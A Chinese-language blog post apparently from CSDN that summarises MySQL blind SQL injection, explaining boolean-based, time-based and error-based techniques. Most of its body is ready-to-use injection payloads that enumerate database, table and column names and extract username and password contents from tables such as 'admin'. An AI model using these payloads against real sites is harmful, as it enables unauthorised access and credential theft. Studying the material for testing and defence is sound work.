SQL注入之盲注简单总结
SQL注入之盲注简单总结
发布于2019-07-19 19:22:22
分类专栏:
渗透
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
编辑
<a class="href-article-edit slide-toggle">展开</a>
</div>
</div>
</div>
</div>
<article class="baidu_pl">
<!--python安装手册开始-->
<!--python安装手册结束-->
<!--####专栏广告位图文切换开始-->
<!--####专栏广告位图文切换结束-->
<div id="article_content" class="article_content clearfix">
<link rel="stylesheet" href="https://csdnimg.cn/release/phoenix/template/css/ck_htmledit_views-833878f763.css">
<div id="content_views" class="markdown_views prism-dracula">
<!-- flowchart 箭头图标 勿删 -->
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
<path stroke-linecap="round" d="M5,0 0,2.5 5,5z" id="raphael-marker-block" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></path>
</svg>
<h2><a name="t0"></a><a name="t0"></a><a id="Mysql_0"></a>Mysql盲注总结</h2>
- 什么是盲注?
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 - SQL盲注与SQL普通注入的区别?
普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。 - SQL盲注分类:
Sql盲注可以简单分为三类 :布尔盲注、延时盲注和报错盲注
什么是布尔盲注?
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
- 1
- 2
布尔注入用到的函数:
mid(str,start,length) :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
- 1
- 2
- 3
- 4
- 5
- 6
布尔注入流程:
猜解获取数据库长度
' or length(database()) > 8 --+ :符合条件返回正确,反之返回错误
- 1
猜解数据库名
'or mid(database(),1,1)= 'z' --+ :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
- 1
- 2
猜解表的总数
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ :判断表的总数
- 1
猜解第一个表名的长度
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)
- 1
- 2
猜解第一个表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
- 1
- 2
- 3
- 4
猜解表的字段的总数
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
- 1
猜解第一个字段的长度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
- 1
- 2
猜解第一个字段名
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
- 1
- 2
- 3
猜解直接猜测字段名
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
- 1
猜解内容长度
假如已经知道字段名为 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
- 1
- 2
猜解内容
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
- 1
- 2
- 3
也可以直接猜测内容
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
- 1
什么是延迟盲注?
提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的延迟盲注
- 1
延迟盲注需要的函数:
Sleep() :延迟函数
If(condition,true,false) :条件语句
mid(str,start,length) :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
延迟注入流程:
获取数据库总数
' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5)) 如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒
- 1
猜解当前数据库长度
' and sleep(if((length(database()) = 8),0,5))--+ //当前数据库名长度为8
- 1
猜解当前数据库名
' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ //ascii码115 就是 s
- 1
猜解当前数据库表的总数
And sleep(if((注入语句),0,5)) //类似布尔注入推理即可 ,例如:
' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+
- 1
- 2
猜解当前数据库表的长度
根据布尔注入推理即可
猜解当前数据库表名
猜解当前数据库表的字段总数
猜解当前数据库表的字段长度
猜解当前数据库表的字段名
猜解内容
什么是报错盲注?
基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等,如下图:
- 1
报错注入又分为两种爆错类型:数据库BUG报错注入和数据库函数报错注入
利用数据库BUG报错注入需要的函数:
只要是count(),rand() ,group by 三个函数连用就会造成这种报错
left(rand(),3) :不一定报错
floor(rand(0)*2) :一定报错
round(x,d) :x指要处理的数,d是指保留几位小数
concat() :字符串拼接
- 1
- 2
- 3
- 4
- 5
利用函数报错注入需要的函数:
Updatexml()
Exp()
Geometrycollection()
Polygon()
Multipoint()
Multilinestring()
Multipolygon()
等.....
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
利用数据库bug报错注入的流程
爆数据库的两种方法
' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx)
' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx
- 1
- 2
爆表名
' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
- 1
爆字段
' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+
- 1
猜解内容
' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23 //逐个猜解内容(详情见布尔注入)
- 1
利用特定函数报错注入的流程:
与利用报错步骤相同,比如Updatexml()的注入语句如下:
' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+
- 1
</div>
<link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-b6c3c6d139.css" rel="stylesheet">
<div class="more-toolbox">
<div class="left-toolbox">
<ul class="toolbox-list">
<li class="tool-item tool-active is-like "><a href="javascript:;"><svg class="icon" aria-hidden="true">
<use xlink:href="#csdnc-thumbsup"></use>
</svg><span class="name">点赞</span>
<span class="count">1</span>
</a></li>
<li class="tool-item tool-active is-collection "><a href="javascript:;" data-report-click="{"mod":"popu_824"}"><svg class="icon" aria-hidden="true">
<use xlink:href="#icon-csdnc-Collection-G"></use>
</svg><span class="name">收藏</span></a></li>
<li class="tool-item tool-active is-share"><a href="javascript:;"><svg class="icon" aria-hidden="true">
<use xlink:href="#icon-csdnc-fenxiang"></use>
</svg>分享</a></li>
<!--打赏开始-->
<!--打赏结束-->
</ul>
</div>
</div>
<div class="person-messagebox">
<div class="left-message"><a href="https://blog.csdn.net/qq_42477007">
<img src="https://profile.csdnimg.cn/2/7/4/3_qq_42477007" class="avatar_pic" username="qq_42477007">
<img src="https://g.csdnimg.cn/static/user-reg-year/2x/2.png" class="user-years">
</a></div>
<div class="middle-message">
<div class="title"><span class="tit"><a href="https://blog.csdn.net/qq_42477007" data-report-click="{"mod":"popu_379"}" target="_blank">Zane·S</a></span>
</div>
<div class="text"><span>发布了15 篇原创文章</span> · <span>获赞 19</span> · <span>访问量 4020</span></div>
</div>
</div>
</div>
</article>